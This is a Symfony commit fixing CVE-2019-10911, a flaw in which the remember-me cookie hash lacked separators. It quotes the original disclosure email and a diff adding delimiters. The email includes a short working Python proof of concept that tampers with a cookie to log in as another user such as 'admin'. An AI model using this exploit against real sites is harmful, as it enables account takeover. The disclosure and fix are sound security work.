security #cve-2019-10911 [Security] Add a separator in the remember me cookie hash (pborreli)

nicolas-grekas · nicolas-grekas · commit 2681a5f4ba05 · 2019-04-16T11:58:36.000+02:00
This PR was merged into the 2.7 branch. Discussion ---------- [Security] Add a separator in the remember me cookie hash Fabien found this issue reported back in 2013 but it was never resolved. Pascal (@pborreli) did the original patch. ``` > -------- Original Message -------- > Subject: No structure in remember me MAC > Date: Tue, 4 Jun 2013 09:46:21 +0100 > From: Jon Cave <jon@joncave.co.uk> > To: security@symfony.com > > I have discovered a vulnerability in the Symfony framework that > affects version 2.3 and all other 2.x releases. The vulnerability > would allow an attacker to authenticate as a privileged user on sites > with user registration and remember me login functionality enabled. > > The problem is that there is no structure in the data that is passed > to the hash function when generating a MAC for remember me cookies. > From > Symfony\Component\Security\Http\RememberMe\TokenBasedRememberMeServices::generateCookieHash(): > > return hash('sha256', > $class.$username.$expires.$password.$this->getKey()); > > This means that there are many inputs that result in the same hash. > For example, a user can register with username "admin9" and receive > the following cookie: "<class>:admin9:1370334467:<hash>" where <hash> > is hash('sha256', "<class>admin91370334467<password><key>"). This > cookie can then be modified to be: "<class>:admin:91370334467:<hash>" > where <hash> is the same value as before. The application will load > the "admin" user and recognise the provided hash as valid! (NB: I left > out some base64 encoding to make things more obvious.) > > The solution to this is to use the same separator when generating the > hash as is done when encoding the cookie, e.g.: > > return hash('sha256', $class . ':' . $username . ':' . $expires . > ':' . $password . ':' . $this->getKey()); > > It would also be a good idea to switch to using hash_hmac(): > > return hash_hmac('sha256', $class . ':' . $username . ':' . $expires > . ':' . $password, $this->getKey()); > > This is because HMAC is a stronger MAC construction than the secret > suffix one currently being used [1]. > > Let me know if you have any questions. > > Cheers, > Jon > http://joncave.co.uk/ > @joncave > > [1] > http://rdist.root.org/2009/10/29/stop-using-unsafe-keyed-hashes-use-hmac/ > > Proof of concept code to perform the attack given a valid cookie to modify: > > import base64 > import requests > import sys > > if __name__ == "__main__": > if len(sys.argv) != 3: > print "COOKIE URL" > sys.exit(1) > > cookie = sys.argv[1] # Current cookie > url = sys.argv[2] # URL > > cls, name, expires, mac = base64.b64decode(cookie).split(":") > > # Tamper > name = base64.b64decode(name) > expires = name[-1] + expires > name = base64.b64encode(name[:-1]) > > # Reconstruct > cookie = ":".join([cls, name, expires, mac]) > > print "Using cookie: " + cookie > print > > cookies = {"REMEMBERME": base64.b64encode(cookie)} > print requests.get(url, cookies=cookies).text > > ``` Commits ------- 6356982017 [Security] Add a separator in the remember me cookie hash
diff --git a/src/Symfony/Component/Security/Http/RememberMe/TokenBasedRememberMeServices.php b/src/Symfony/Component/Security/Http/RememberMe/TokenBasedRememberMeServices.php
@@ -121,6 +121,6 @@ protected function generateCookieValue($class, $username, $expires, $password)
      */
     protected function generateCookieHash($class, $username, $expires, $password)
     {
-        return hash_hmac('sha256', $class.$username.$expires.$password, $this->getKey());
+        return hash_hmac('sha256', $class.self::COOKIE_DELIMITER.$username.self::COOKIE_DELIMITER.$expires.self::COOKIE_DELIMITER.$password, $this->getKey());
     }
 }

Original file line number	Diff line number	Diff line change
`@@ -121,6 +121,6 @@ protected function generateCookieValue($class, $username, $expires, $password)`
`121`	`121`	`*/`
`122`	`122`	`protected function generateCookieHash($class, $username, $expires, $password)`
`123`	`123`	`{`
`124`		`- return hash_hmac('sha256', $class.$username.$expires.$password, $this->getKey());`
	`124`	`+ return hash_hmac('sha256', $class.self::COOKIE_DELIMITER.$username.self::COOKIE_DELIMITER.$expires.self::COOKIE_DELIMITER.$password, $this->getKey());`
`125`	`125`	`}`
`126`	`126`	`}`